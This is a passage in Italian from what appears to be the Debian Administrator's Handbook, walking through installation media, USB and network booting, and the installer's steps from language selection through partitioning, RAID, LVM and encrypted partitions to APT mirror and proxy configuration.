Vengono distribuiti svariate tipologie di CD-ROM che hanno scopi diversi: netinst (installazione via rete) contiene il programma di installazione e il sistema di base Debian; tutti gli altri programmi verranno scaricati in seguito. La sua "immagine" è un file system ISO-9660 il cui contenuto esatto del disco, occupa solamente dai 150 ai 280 MB (dipende dall'architettura). D'altro canto, la serie completa include tutti i pacchetti e permette l'installazione su un computer che non ha accesso a Internet, ma richiede circa 16 DVD-ROM (o 4 dischi Blu-ray). Non c'è più il set di CD-ROM ufficiali in quanto era gigante, raramente utilizzato ed ora la maggior parte dei computer utilizza sia DVD-ROM che CD-ROM. I programmi sono però divisi tra i dischi in base alla loro popolarità ed importanza; il primo disco sarà sufficiente per la maggior parte delle installazioni, in quanto contiene il software più utilizzato.

C'è un ultimo tipo di immagine, nota come mini.iso, che è disponibile solo come un sottoprodotto del programma di installazione. L'immagine contiene solo il minimo necessario per configurare la rete e tutto il resto viene scaricato (comprese le parti del programma di installazione stesso, che è il motivo per cui le immagini tendono a non funzionare quando viene rilasciata una nuova versione del programma di installazione). Quelle immagini possono essere trovate sui normali mirror Debian sotto la directorydists/release/main/installer-arch/current/images/netboot/.

SUGGERIMENTO Dischi multi-architettura

La maggior parte dei CD e DVD-ROM di installazione funzionano solo su un'architettura hardware specifica. Se si vogliono scaricare le immagini complete, è necessario fare attenzione a scegliere quelle che funzionano sull'hardware del computer su cui si desidera installarle.

Alcune immagini CD/DVD-ROM possono funzionare su diverse architetture. Abbiamo così un'immagine CD-ROM che combina le immagini netinst per le architetture i386 e amd64.

Le immagini dei CD-ROM di Debian possono essere, naturalmente, scaricate e masterizzate su disco. È anche possibile acquistarle, contribuendo così al progetto con un piccolo supporto finanziario. Verificare il sito per trovare l'elenco dei distributori dei DVD-ROM con Debian e dei siti per scaricare le immagini.

→ https://www.debian.org/CD/index.html

4.1.2. Avviare da una chiavetta USB

Poiché la maggior parte dei computer sono in grado di fare il boot da dispositivi USB, è possibile installare Debian anche da una chiavetta USB (questo non è altro che un piccolo disco di memoria flash).

Il manuale di installazione spiega come creare una chiavetta USB che contiene il debian-installer. La procedura è molto semplice poichè le immagini ISO per le architetture i386 e amd64 sono immagini ibride che permettono l'avvio sia da CD-ROM che da chiavetta USB.

È necessario, innanzitutto, identificare il nome della periferica della chiavetta USB (ad es.: /dev/sdb); il metodo più semplice per farlo è quello di controllare i messaggi emessi dal kernel utilizzando il comando dmesg. Poi bisogna copiare l'immagine ISO precedentemente scaricata (ad esempio debian-10.0.0-amd64-netinst.iso) con il comando cat debian-10.0.0-amd64-netinst.iso >/dev/sdb; sync. Questo comando richiede i permessi di amministratore, dato che accede direttamente alla periferica USB e cancella il suo contenuto.

Una spiegazione più dettagliata è disponibile nel manuale di installazione. Tra le altre cose, descrive un metodo alternativo per preparare una chiavetta USB, più complesso, ma che permette di personalizzare le opzioni predefinite di installazione (quelle specificate nella riga di comando del kernel).

→ https://www.debian.org/releases/stable/amd64/ch04s03

4.1.3. Installazione tramite l'avvio da rete

Molti BIOS permettono l'avvio direttamente dalla rete, scaricando un kernel e un'immagine minimale del file system. Questo metodo (che ha diversi nomi, come PXE o TFTP boot) può essere un salvavita se il computer non dispone di un lettore CD-ROM, o se il BIOS non prevede l'avvio da tali supporti.

Questo metodo di installazione funziona in due fasi. In primo luogo, durante l'avvio del computer, il BIOS (o la scheda di rete) manda una richiesta BOOTP/DHCP per acquisire automaticamente un indirizzo IP. Quando un server BOOTP o DHCP restituisce una risposta, include il nome di file e le impostazioni di rete. Dopo aver configurato la rete, il computer client invia la richiesta TFTP (Trivial File Transfer Protocol) per il file il cui nome è stato indicato in precedenza. Una volta che questo file viene acquisito, viene eseguito come se si trattasse di un bootloader. Questo lancia il programma di installazione di Debian, che viene eseguito come se fosse stato lanciato dal disco rigido, da un CD-ROM o da una chiavetta USB.

Tutti i dettagli di questo metodo sono disponibili nella guida d'installazione (sezione "Preparazione dei file per l'avvio TFTP da rete").

→ https://www.debian.org/releases/stable/amd64/ch05s01#boot-tftp-x86

→ https://www.debian.org/releases/stable/amd64/ch04s05

4.1.4. Altri metodi d'installazione

Quando si devono predisporre installazioni personalizzate per un gran numero di computer, in genere, si sceglie un sistema automatico piuttosto che un metodo di installazione manuale. A seconda della situazione e della complessità delle installazioni da realizzare, si può usare FAI (Fully Automatic Installer, descritto nella Sezione 12.3.1, «Fully Automatic Installer (FAI)»), o un DVD d'installazione personalizzato con la preconfigurazione (vedere la Sezione 12.3.2, «Preimpostare Debian-Installer»).

4.2. Installazione, passo passo

4.2.1. Avviare e eseguire il programma d'installazione

Una volta che il BIOS ha iniziato la fase di avvio dal CD o DVD-ROM, compare il menu del bootloader Isolinux. In questa fase, il kernel Linux non è ancora caricato, questo menu consente di scegliere il kernel da avviare e inserire i parametri possibili passargli.

Per un'installazione standard, è sufficiente scegliere «Install» o «Graphical install» (utilizzando le frecce), quindi premere il tasto Invio per avviare il processo. Se il DVD-ROM è un disco «multi-architettura» e la macchina ha un processore Intel o AMD a 64 bit, le opzioni del menu d'installazione abilitano l'installazione della variante a 64-bit (amd64) e l'installazione della variante a 32-bit rimane disponibile in un sotto menu dedicato ("opzioni di installazione a 32-bit"). Se si dispone di un processore a 32 bit, non si ottiene né una scelta né le voci di menu per installare la variante a 32-bit (i386).

APPROFONDIMENTI 32 o 64 bit?

La differenza fondamentale tra i sistemi a 32- e 64-bit è la dimensione degli indirizzi di memoria. In teoria, un sistema a 32-bit non può lavorare con più di 4 GB di RAM (2^32 byte). In pratica, è possibile aggirare questa limitazione utilizzando la variante del kernel 686-pae, fintanto che il processore gestisce il PAE (Physical Address Extension). Utilizzarlo, tuttavia, ha una notevole influenza sulle prestazioni del sistema. Per questo motivo è utile utilizzare la modalità a 64-bit su un server con una grande quantità di RAM.

Per un computer d'ufficio (dove una differenza di pochi punti percentuali in termini di prestazioni è trascurabile), è necessario tenere a mente che alcuni programmi proprietari non sono disponibili in versioni a 64-bit. È tecnicamente possibile farli funzionare su sistemi a 64-bit, ma è necessario installare le versioni a 32-bit di tutte le librerie necessarie (si veda Sezione 5.4.5, «Supporto Multi-Arch»), ed a volte è necessario utilizzare i comandi setarch o linux32 (nel pacchetto util-linux) per ingannare le applicazioni sulla natura del sistema.

IN PRATICA Installazione affiancando un sistema Windows già esistente

Se nel computer è già presente Windows, non è necessario eliminare il sistema per installare Debian. Si possono avere entrambi i sistemi contemporaneamente, ognuno installato su un disco o su una partizione differente, e scegliere quale far partire quando si avvia il computer. Questa configurazione è spesso chiamata «dual boot» e il sistema di installazione di Debian può configurare quest'opzione. Questa operazione viene eseguita durante la fase di partizionamento del disco rigido e durante la configurazione del bootloader (vedi i riquadri IN PRATICA Riduzione di una partizione Windows and ATTENZIONE Bootloader e dual boot).

Se si ha già un sistema Windows funzionante, si può anche fare a meno del CD-ROM di ripristino; Debian fornisce un programma Windows che scarica un programma d'installazione di Debian leggero e lo configura sul disco rigido. In questo modo è sufficiente riavviare il computer e scegliere tra il normale avvio di Windows o l'avvio del programma di installazione. È inoltre possibile trovarlo su un sito web dedicato con un nome piuttosto esplicito…

→ http://ftp.debian.org/debian/tools/win32-loader/stable/

→ https://people.debian.org/~rmh/goodbye-microsoft/

FONDAMENTALI Bootloader

Il bootloader è un programma a basso livello che è responsabile dell'avvio del kernel Linux, subito dopo che il BIOS gli ha ceduto il controllo. Per adempiere a questo compito, deve essere in grado di individuare sul disco il kernel Linux per l'avvio. Sulle architetture i386 e amd64, i due programmi più utilizzati per eseguire questa operazione sono LILO, il più vecchio dei due, e GRUB, la soluzione più moderna che lo sostituisce. Isolinux e Syslinux sono alternative utilizzate frequentemente per l'avvio da supporti rimovibili.

Ogni voce di menu nasconde una specifica riga di comando di avvio, che può essere configurata in base alle esigenze premendo il tasto TAB prima di convalidare l'avvio. La voce del menu «Help» visualizza la vecchia interfaccia a riga di comando, dove i tasti da F1 a F10 visualizzano diverse schermate di aiuto, andando nel dettaglio delle varie opzioni disponibili al prompt. Si avrà raramente la necessità di utilizzare queste opzioni, se non in casi molto specifici.

La modalità «expert» (accessibile dal menu «Advanced options») abilita, nel dettaglio, tutte le opzioni possibili nel processo d'installazione e consente di spostarsi tra le varie fasi senza che vengano obbligatoriamente eseguite in sequenza. Attenzione, questa modalità molto dettagliata può essere fonte di confusione a causa della moltitudine di opzioni di configurazione che offre.

Figura 4.1. Schermata di avvio

Una volta avviato, il programma d'installazione ti guida passo dopo passo lungo tutto il processo. Questa sezione presenta ognuna di queste fasi nel dettaglio. Qui viene seguito il processo di installazione da un DVD-ROM (nello specifico, la versione rc1 del programma di installazione per Buster); installazioni con netinst, come la versione finale del programma di installazione, potrebbero essere leggermente diverse. Affronteremo anche l'installazione in modalità grafica, ma questa si differenzia dall'installazione «classica» (modalità testo) solo nell'aspetto.

4.2.2. Selezione della lingua

Il programma d'installazione utilizza inizialmente la lingua inglese, ma il primo passo è quello che permette all'utente di scegliere la lingua che verrà utilizzata nel resto del processo. Scegliendo il francese, per esempio, si avrà l'intero processo di installazione interamente tradotto in francese (e un sistema configurato in francese come risultato). Questa scelta è utilizzata anche per definire scelte predefinite più rilevanti nelle fasi successive (in particolare la mappatura della tastiera).

FONDAMENTALI Navigazione con la tastiera

Alcuni passaggi del processo d'installazione richiedono l'immissione di informazioni. Queste schermate hanno diverse aree che possono «avere il focus» (aree di inserimento testo, caselle di selezione, elenchi di opzioni, pulsanti OK e Annulla), e il tasto TAB consente di passare alle diverse aree.

Nella modalità grafica, è possibile utilizzare il mouse, come si farebbe normalmente su un ambiente desktop grafico installato.

Figura 4.2. Selezione della lingua

4.2.3. Selezione della nazione

Il secondo passo consiste nella scelta del paese. Insieme alla lingua, questa informazione consente al programma di proporre la mappatura della tastiera più indicata. Questo influenzerà anche la configurazione del fuso orario. Negli Stati Uniti, viene suggerita una tastiera QWERTY standard e una lista di fusi orari appropriati.

Figura 4.3. Selezione della nazione

4.2.4. Selezione della mappatura della tastiera

La tastiera suggerita «Inglese (Stati Uniti)» corrisponde, di solito, alla mappatura QWERTY.

Figura 4.4. Scelta della tastiera

4.2.5. Rilevamento hardware

Questo passaggio, nella stragrande maggioranza dei casi, è completamente automatico. Il programma d'installazione rileva l'hardware, e cerca di identificare il lettore CD-ROM utilizzato per accedere ai suoi contenuti. Carica i moduli corrispondenti ai vari componenti hardware rilevati, e poi «monta» il CD-ROM per leggerlo. I passaggi precedenti sono completamente contenuti nell'immagine di avvio inclusa nel CD, un file di dimensione limitata caricato in memoria dal BIOS durante l'avvio dal CD.

Il programma d'installazione funziona con la maggior parte delle unità, soprattutto periferiche standard ATAPI (a volte chiamate IDE e EIDE). Tuttavia, se non dovesse funzionare il rilevamento del lettore CD-ROM, il programma d'installazione offre la possibilità di caricare un modulo del kernel (per esempio, da una chiavetta USB) corrispondente al driver del CD-ROM.

4.2.6. Caricamento dei componenti

Ora che il contenuto del CD è disponibile, il programma di installazione carica tutti i file necessari per continuare il suo lavoro. Questo comprende i driver aggiuntivi per l'hardware rimanente (in particolare la scheda di rete), nonché tutti i componenti del programma di installazione.

4.2.7. Rilevamento dell'hardware di rete

Questo passaggio automatico tenta di individuare la scheda di rete e caricare il modulo corrispondente. Se il rilevamento automatico non riesce, è possibile selezionare manualmente il modulo da caricare. Se non funziona nessun modulo, è possibile caricare un modulo specifico da un dispositivo rimovibile. Quest'ultima soluzione di solito è necessaria solo se il driver appropriato non è incluso nel kernel standard di Linux, ma disponibile altrove, come nel sito web del produttore.

Per le installazioni netinst, questo passaggio deve essere obbligatoriamente concluso con successo, dato che i pacchetti Debian devono essere scaricati dalla rete.

4.2.8. Configurazione della rete

Il programma d'installazione cerca di automatizzare il più possibile l'intero processo d'installazione, quindi tenta una configurazione automatica della rete tramite DHCP (per IPv4) e IPv6 network discovery. Se non funziona, vengono proposte più scelte: provare di nuovo con la configurazione DHCP normale, provare con DHCP dichiarando il nome della macchina, oppure impostare una configurazione statica della rete.

Quest'ultima opzione richiede un indirizzo IP, una maschera di rete, un indirizzo IP per un possibile gateway, il nome della macchina e un nome di dominio.

SUGGERIMENTO Configurazione senza DHCP

Se la rete locale è dotata di un server DHCP che non si desidera utilizzare, perché si preferisce definire un indirizzo IP statico per la macchina durante l'installazione, è possibile aggiungere l'opzione netcfg/use_dhcp=false all'avvio dal CD-ROM. Basta andare nella voce di menu desiderata premendo il tasto TAB e aggiungere l'opzione desiderata prima di premere il tasto Invio.

ATTENZIONE Non si improvvisi

Molte reti locali si basano sul presupposto che ci si può fidare di tutte le macchine collegate, in questo modo una configurazione inadeguata di un singolo computer spesso può disturbare l'intera rete. È consigliato quindi consultarsi con l'amministratore di rete per la configurazione corretta (ad esempio, l'indirizzo IP, la maschera di rete e l'indirizzo di broadcast) prima di collegare qualsiasi macchina alla rete.

4.2.9. Password dell'amministratore

L'account del super-utente root, riservato all'amministratore della macchina, è creato automaticamente durante l'installazione; questo è il motivo per cui viene richiesta una password. Il programma di installazione chiede anche una conferma della password per evitare qualsiasi errore di immissione che, in seguito, sarebbe difficile correggere. Nota che puoi lasciare entrambi i campi vuoti se vuoi disabilitare l'account root. In tal caso, il primo utente regolare — che verrà creato nel passaggio successivo dell'installazione — avrà i diritti di amministratore tramite sudo (vedere Sezione 8.9.4, «Condivisione dei privilegi di amministrazione»).

SICUREZZA Password dell'amministratore

La password dell'utente root deve essere lunga (almeno 12 caratteri) e impossibile da indovinare. Infatti, qualsiasi computer (ed a maggior ragione i server) connesso ad Internet è regolarmente bersagliato da tentativi automatici di connessione con le password più comuni. A volte può anche essere soggetto ad attacchi con dizionario, in cui vengono provate password con molte combinazioni di parole e numeri. È buona norma evitare di utilizzare nomi di familiari, date di nascita, ecc.: molti dei vostri colleghi potrebbero esserne a conoscenza e raramente si vuole dar loro libero accesso al computer in argomento.

Queste considerazioni valgono anche per le password degli altri utenti, ma le conseguenze di un account compromesso sono meno pesanti per gli utenti senza diritti di amministrazione.

Se non si è ispirati, si possono utilizzare i generatori di password, come ad esempio pwgen (nel pacchetto con lo stesso nome).

Figura 4.5. Password dell'amministratore

4.2.10. Creazione del primo utente

Debian impone la creazione di un account utente standard in modo che l'amministratore non prenda la cattiva abitudine di lavorare come root. Questa precauzione limita i danni causati dall'errore umano, in quanto tutte le attività vengono eseguite con il minimo dei diritti richiesti. Per questo motivo il programma d'installazione chiederà il nome completo di questo primo utente, il nome utente e la password (due volte, per evitare gli errori di battitura).

Figura 4.6. Nome del primo utente

4.2.11. Configurazione dell'orologio

Se la rete è disponibile, l'orologio interno del sistema sarà aggiornato (solo la prima volta) da un server NTP. In questo modo l'ora dei log sarà corretta dal primo avvio. Se si vuole rimanere costantemente con un orario sincronizzato, deve essere impostato un demone NTP dopo l'installazione iniziale (vedere la Sezione 8.9.2, «Sincronizzazione del tempo»).

4.2.12. Rilevamento dei dischi e degli altri dispositivi

Questo passaggio rileva automaticamente i dischi rigidi sui quali può essere installata Debian. Questo verrà trattato nel prossimo passaggio: il partizionamento.

4.2.13. Avviare lo strumento di partizionamento

CULTURA Utilizzo del partizionamento

Il partizionamento è un passaggio fondamentale dell'installazione e consiste nel dividere lo spazio disponibile sul disco rigido (ognuna di queste suddivisioni viene chiamata «partizione») a seconda dei dati che devono essere memorizzati e dall'uso a cui è destinato il computer. Questa fase include anche la scelta dei file system da utilizzare. Tutte queste decisioni influenzeranno le prestazioni, la sicurezza dei dati e più in generale l'amministrazione del server.

La fase di partizionamento è di norma un po' ostica per i nuovi utenti. È infatti necessario definire le varie porzioni dei dischi (o «partizioni») su cui verranno memorizzati i file system Linux e la memoria virtuale (swap). Questo compito è complicato se è già presente un altro sistema operativo che si desidera mantenere. Si dovrà fare attenzione a non modificare le sue partizioni (o di ridimensionarle senza causare danni).

Fortunatamente, il programma di partizionamento dispone di una modalità «guidata», che consiglia le partizioni da fare; nella maggior parte dei casi, si può semplicemente accettare i suggerimenti del programma.

Figura 4.7. Scelta della modalità di partizionamento

La prima schermata del programma di partizionamento propone di utilizzare un intero disco rigido per creare varie partizioni. Per un (nuovo) computer che utilizza esclusivamente Linux, questa opzione è chiaramente la più semplice, e si può scegliere l'opzione «Guidato - usa l'intero disco». Se il computer dispone di due dischi rigidi per due sistemi operativi, la soluzione di partizionamento più semplice è quella di assegnare un disco ad ogni sistema operativo. In entrambi i casi, la schermata successiva propone di scegliere il disco in cui installare Linux selezionando la voce corrispondente (ad esempio, «SCSI1 (0,0,0) (sda) - 21.5 GB ATA QEMU HARDDISK»). E quindi viene avviato il partizionamento guidato.

Figura 4.8. Disco da utilizzare per il partizionamento guidato

Con il partizionamento guidato è possibile impostare anche i volumi logici LVM invece delle partizioni (vedere sotto). Dato che il resto dell'operazione è identico, non verrà descritta (in dettaglio) l'opzione «Guidato - usa l'intero disco e imposta LVM» (cifrato o no).

In altri casi, quando Linux deve funzionare insieme ad altre partizioni già esistenti, è necessario scegliere il partizionamento manuale.

4.2.13.1. Partizionamento guidato

Il programma di partizionamento guidato offre tre metodi di partizionamento, che corrispondono a utilizzi diversi.

Figura 4.9. Partizionamento guidato

Il primo metodo si chiama «Tutti i file in una partizione». L'intero albero del sistema Linux è memorizzato in un singolo file system, corrispondente alla directory radice /. Questo partizionamento semplice e robusto si adatta perfettamente per i sistemi personali o a singolo utente. Per la verità, verranno create due partizioni: la prima ospiterà l'intero sistema, la seconda la memoria virtuale (swap).

Il secondo metodo, «Partizione /home separata», è simile al primo, ma divide in due la gerarchia dei file: la prima partizione conterrà il sistema Linux (/), la seconda le «directory home» (ovvero i dati dell'utente, file e sottodirectory in /home/).

L'ultimo metodo di partizionamento, «Partizioni /home, /var e /tmp separate», è adatto per i server e per i sistemi multi utente. Divide la gerarchia dei file in molte partizioni: oltre alla partizione radice (/) e alla partizione dedicata agli account utente (/home/), ha anche partizioni per i dati di programmi server (/var/) e per i file temporanei (/tmp/). Queste divisioni hanno diversi vantaggi. Ad esempio, gli utenti non posso bloccare il server riempiendo tutto lo spazio disponibile nel disco (possono solo riempire le directory /tmp/ e /home/). I dati dei demoni (specialmente i log) non possono intasare il resto del sistema.

FONDAMENTALI Scelta del file system

Un file system definisce il modo in cui i dati sono organizzati nel disco rigido. Ogni file system esistente ha pregi e difetti. Alcuni sono più robusti, altri più efficienti: se si conoscono bene le proprie esigenze, è possibile scegliere il file system più appropriato. Sono stati fatti diversi confronti e sembra che ReiserFS sia particolarmente efficiente per la lettura di molti file di piccole dimensioni; XFS, invece, lavora più velocemente con i file di grandi dimensioni. Ext4 è il file system predefinito di Debian ed è un buon compromesso, basato sulle tre precedenti versioni dei file system storicamente usati su Linux (ext ext2 ed ext3). Ext4 supera certe limitazioni di ext3 ed è particolarmente indicato per i dischi molto grandi. Un'altra opzione potrebbe essere sperimentare il molto promettente btrfs, che include molte delle funzionalità che, al momento, richiedono l'uso di LVM e/o RAID.

Un file system «con journal» (come ad esempio ext3, ext4, btrfs, reiserfs o xfs) prevede accorgimenti speciali per permettere di ritornare ad uno stato precedente coerente, dopo una brusca interruzione, senza un'analisi completa dell'intero disco (come succedeva per ext2). Questa funzionalità viene realizzata compilando un diario («journal») che descrive le operazioni da fare prima di eseguirle effettivamente. In questo modo se un'operazione viene interrotta, sarà possibile fare un «replay» dal diario. Se invece si verifica un'interruzione durante l'aggiornamento del diario l'ultima modifica richiesta viene semplicemente ignorata, i dati scritti potrebbero essere persi, ma dal momento che i dati sul disco non sono cambiati, rimangono coerenti. Si tratta di un meccanismo transazionale applicato al file system.

Dopo aver scelto il tipo di partizione, il programma propone un suggerimento e lo mostra sullo schermo, l'utente può modificarlo se necessario. In particolare è possibile scegliere un altro file system se la scelta standard (ext4) non è appropriata. Nella maggior parte dei casi il partizionamento proposto è la scelta più ragionevole e può essere accettata selezionando l'opzione «Terminare il partizionamento e scrivere i cambiamenti sul disco».

Figura 4.10. Convalida del partizionamento

4.2.13.2. Partizionamento manuale

Il partizionamento manuale permette una maggiore flessibilità, consentendo all'utente di scegliere lo scopo e la dimensione di ogni partizione. Inoltre, questa modalità è l'unica strada se si vuole utilizzare il RAID software.

IN PRATICA Riduzione di una partizione Windows

Per installare Debian insieme ad un altro sistema operativo (Windows o altro), è necessario disporre di spazio su disco, non utilizzato da un altro sistema, per poter creare le partizioni dedicate a Debian. Nella maggior parte dei casi, questo significa ridurre la partizione di Windows e riutilizzare lo spazio liberato.

Il programma di installazione di Debian permette questa operazione quando si utilizza la modalità per il partizionamento manuale. È necessario solamente scegliere la partizione di Windows e inserire la sua nuova dimensione (funziona sia con partizioni FAT che NTFS non crittografate).

Se Windows utilizza partizioni crittografate con BitLocker, la procedura per ridimensionarle richiede l'utilizzo di Gestione BitLocker insieme allo strumento Gestione disco di Windows.

La prima schermata visualizza i dischi disponibili, le loro partizioni e lo spazio libero che non è stato ancora partizionato. È possibile selezionare ogni elemento visualizzato, premendo il tasto Invio verrà presentato un elenco di azioni possibili.

È possibile cancellare tutte le partizioni su un disco selezionandolo.

Quando si seleziona dello spazio libero su disco, è possibile creare manualmente una nuova partizione. È possibile farlo anche utilizzando il partizionamento guidato, che è una soluzione interessante per un disco che contiene già un altro sistema operativo, ma che si vorrebbe partizionare per Linux in maniera standard. Vedere Sezione 4.2.13.1, «Partizionamento guidato» per avere più informazioni sul partizionamento guidato.

FONDAMENTALI Punto di montaggio

Il punto di montaggio è l'albero delle directory che ospiterà il contenuto del file system della partizione selezionata. Così, una partizione montata in /home/ è tradizionalmente adibita a contenere i dati utente.

Quando la directory è «/», viene indicata come la radice («root») della partizione che di fatto contiene il sistema Debian.

FONDAMENTALI Memoria virtuale, swap

La memoria virtuale permette al kernel di Linux di liberare un po' di memoria quando non è disponibile abbastanza memoria (RAM), salvando le parti della RAM che sono state inattive per un certo periodo nella partizione di swap del disco rigido.

Per simulare la memoria aggiuntiva, Windows utilizza un file di swap che è contenuto direttamente nel file system. Al contrario, Linux utilizza una partizione dedicata a questo scopo, da qui il termine «partizione di swap».

Quando si sceglie una partizione, è possibile indicare il modo in cui si ha intenzione utilizzarla:

- formattarla e includerla nella struttura ad albero dei file scegliendo un punto di montaggio;

- usarla come partizione di swap;

- utilizzarla come «volume fisico per la cifratura» (per proteggere la riservatezza dei dati in alcune partizioni, vedere sotto);

- utilizzarla come «volume fisico per LVM» (questo concetto sarà discusso in dettaglio più avanti in questo capitolo);

- usarla come un dispositivo RAID (vedere più avanti in questo capitolo);

- puoi anche scegliere di non utilizzarla, e quindi lasciarla inalterata.

4.2.13.3. Configurazione di dispositivi multi-disco (RAID software)

Alcuni tipi di RAID permettono la duplicazione delle informazioni memorizzate sui dischi rigidi per prevenire la perdita dei dati nel caso che uno dei dischi abbia un problema hardware. Il RAID livello 1 mantiene una copia identica (mirror) di un disco rigido su un altro dispositivo, mentre il RAID livello 5 divide i dati ridondandoli su più dischi, permettendo così la completa ricostruzione di un'unità malfunzionante.

Verrà descritto solo il RAID livello 1, che è il più semplice da implementare. Il primo passo consiste nel creare, in due dischi diversi, due partizioni di dimensioni identiche e di etichettarle come «volume fisico per RAID».

Per combinare queste due partizioni in un nuovo disco virtuale è necessario scegliere "Configurare il software RAID" nel programma di partizionamento e selezionare "Creare un dispositivo MD" nella schermata di configurazione. Sarà necessario rispondere ad una serie di domande su questo nuovo dispositivo. La prima domanda riguarda il livello RAID da utilizzare, che in questo caso sarà "RAID1". La seconda domanda chiede il numero di dispositivi attivi — due nel nostro caso, ovvero il numero di partizioni che deve essere incluso in questo dispositivo MD. La terza domanda riguarda il numero di dispositivi di ricambio — 0; dato che abbiamo previsto alcun disco aggiuntivo per rimpiazzare un possibile disco difettoso. L'ultima domanda chiede di scegliere le partizioni per il dispositivo RAID — queste sarebbe le due che abbiamo messo da parte per questo scopo (bisogna assicurarsi di selezionare solo le partizioni che riportano esplicitamente "raid").

Tornando al menu principale, comparirà un nuovo disco virtuale «RAID». Questo disco viene presentato con una singola partizione che non può essere eliminata, ma che può essere modificata (come per qualsiasi altra partizione).

Per ulteriori informazioni sulle funzionalità RAID, si faccia riferimento alla Sezione 12.1.1, «RAID software».

4.2.13.4. Configurazione del Logical Volume Manager (LVM)

LVM permette di creare partizioni «virtuali» che si possono estendere su più dischi. Questo comporta un duplice vantaggio: la dimensione delle partizioni non è più limitata dalla dimensione dei singoli dischi, ma dal loro volume cumulativo, ed è possibile ridimensionare, in qualsiasi momento, la dimensione di una partizione esistente con l'aggiunta di un altro disco quando necessario.

LVM utilizza una terminologia particolare: una partizione virtuale è un «volume logico», che fa parte di un «gruppo di volumi», o di un insieme di diversi «volumi fisici». Ciascuno di questi termini, infatti, corrisponde a una partizione «reale» (o un dispositivo RAID software).

Questa tecnica funziona in modo molto semplice: ogni volume, sia esso fisico o logico, è suddiviso in blocchi della stessa dimensione, che sono assegnati da LVM. L'aggiunta di un nuovo disco crea un nuovo volume fisico, questi nuovi blocchi possono essere associati ad un qualsiasi gruppo di volumi. In questo modo, tutte le partizioni del gruppo di volumi che è stato ampliato avranno dello spazio aggiuntivo su cui potersi estendere.

Il programma di partizionamento consente di configurare LVM in più fasi. In primo luogo è necessario creare sui dischi esistenti le partizioni che saranno «volumi fisici per LVM». Per attivare LVM, è necessario scegliere «Configurare il Logical Volume Manager (LVM)», quindi nella stessa schermata di configurazione «Creare gruppi di volumi», a cui associare i volumi fisici esistenti. Infine, è possibile creare dei volumi logici all'interno di questo gruppo di volumi. Si noti che il sistema di partizionamento automatico è in grado di automatizzare tutta questa fase.

Nel menu di partizionamento, ogni volume fisico apparirà come un disco con un'unica partizione che non può essere eliminata, ma può essere modificata a piacimento.

L'uso di LVM è descritto in modo più dettagliato nella Sezione 12.1.2, «LVM».

4.2.13.5. Configurazione di partizioni cifrate

Per garantire la riservatezza dei dati, ad esempio nel caso di perdita o furto del computer o di un disco rigido, è possibile cifrare i dati in alcune partizioni. Questa funzionalità può essere usata con qualsiasi file system, dal momento che, come per LVM, Linux (e più in particolare il driver dm-crypt) usa il Device Mapper per creare una partizione virtuale (il cui contenuto sarà protetto) basata su una partizione sottostante in cui verranno memorizzati i dati in forma cifrata (grazie a LUKS, Linux Unified Key Setup, un formato standard che consente l'archiviazione di dati cifrati, nonché meta-dati che indicano gli algoritmi di cifratura utilizzati).

SICUREZZA Partizione di swap cifrata

Quando viene utilizzata una partizione cifrata, la chiave di cifratura viene salvata nella memoria (RAM). Dato che questa chiave permette di decodificare i dati, è estremamente importante evitare di lasciare una copia di questa chiave che sarebbe accessibile ad un possibile ladro del computer, del disco rigido o ad un tecnico per la manutenzione. Questa situazione però si può facilmente verificare con un computer portatile, dato che quando si manda in sospensione o ibernazione, il contenuto della RAM viene memorizzato nella partizione di swap. Se questa partizione non è cifrata, il ladro può accedere alla chiave e utilizzarla per decifrare i dati dalle partizioni cifrate. Per questo motivo, quando si utilizzano partizioni cifrate, è estremamente importante cifrare anche la partizione di swap!

Il programma d'installazione di Debian avvisa l'utente se prova a fare una partizione cifrata, senza cifrare quella di swap.

Per creare una partizione cifrata, è necessario assegnarne una libera per questo scopo. Basta selezionare una partizione e indicare che deve essere utilizzata come "volume fisico per la cifratura". Dopo aver partizionato il disco contenente il volume fisico da creare, scegliere "Configurare volumi cifrati". Il programma proporrà di inizializzare il volume fisico con dei dati casuali (rendendo più difficile la localizzazione dei dati reali), e chiederà di inserire una "passphrase per la cifratura", che dovrà essere inserita ogni volta che si avvia il computer, per accedere al contenuto della partizione cifrata. Una volta completata questa fase, e tornati al menu del programma di partizionamento, sarà disponibile una nuova partizione in "Volume cifrato", che sarà configurabile come qualsiasi altra partizione. Nella maggior parte dei casi, questa partizione è usata come volume fisico per LVM, in modo da proteggere più partizioni (i volumi logici LVM) con la stessa chiave crittografica, inclusa la partizione di swap (vedi riquadro SICUREZZA Partizione di swap cifrata).

4.2.14. Installazione del sistema di base

Questo passaggio installa i pacchetti Debian del «sistema di base», e non richiede alcuna interazione da parte dell'utente. Questo sistema comprende i programmi dpkg e apt, che gestiscono i pacchetti Debian, così come i programmi necessari per avviare il sistema e iniziare ad usarlo.

Figura 4.11. Installazione del sistema di base

4.2.15. Configurazione del gestore dei pacchetti (apt)

Per poter installare del software aggiuntivo, è necessario configurare APT in modo che sappia dove poter reperire i pacchetti Debian. Questo passaggio è automatizzato il più possibile. Il primo quesito che viene posto è se è necessario utilizzare una sorgente di rete per i pacchetti, o se si devono utilizzare solo i pacchetti sul CD-ROM.

NOTA Il CD-ROM di Debian nel lettore

Se il programma d'installazione rileva un disco di Debian nel lettore CD/DVD, non è necessario configurare APT in modo che cerchi i pacchetti in rete: APT è configurato automaticamente per recuperare i pacchetti da un unità a sopporti rimovibili. Se il disco fa parte di una collezione, il programma chiederà di «esplorare» gli altri dischi per indicizzare tutti i pacchetti memorizzati nell'intera collezione di CD/DVD.

Se è necessario recuperare i pacchetti dalla rete, le due domande seguenti permettono di scegliere il server da cui scaricare i pacchetti, selezionando successivamente una nazione e un mirror disponibile in quel paese (il mirror è un server pubblico che ospita le copie di tutti i file presenti nell'archivio master di Debian).

Figura 4.12. Selezionare un mirror di Debian

Infine, il programma propone di utilizzare un proxy HTTP. Se non è presente un proxy, verrà utilizzato l'accesso diretto a Internet. Se si inserisce http://proxy.falcot.com:3128, APT utilizzerà il proxy/cache, fornito dal programma «Squid», della società Falcot. È possibile trovare questi parametri, controllando le impostazioni del browser web in un altro computer connesso alla stessa rete.

I file Packages.xz e Sources.xz verranno scaricati automaticamente, per aggiornare l'elenco dei pacchetti riconosciuti da APT.

FONDAMENTALI Proxy HTTP

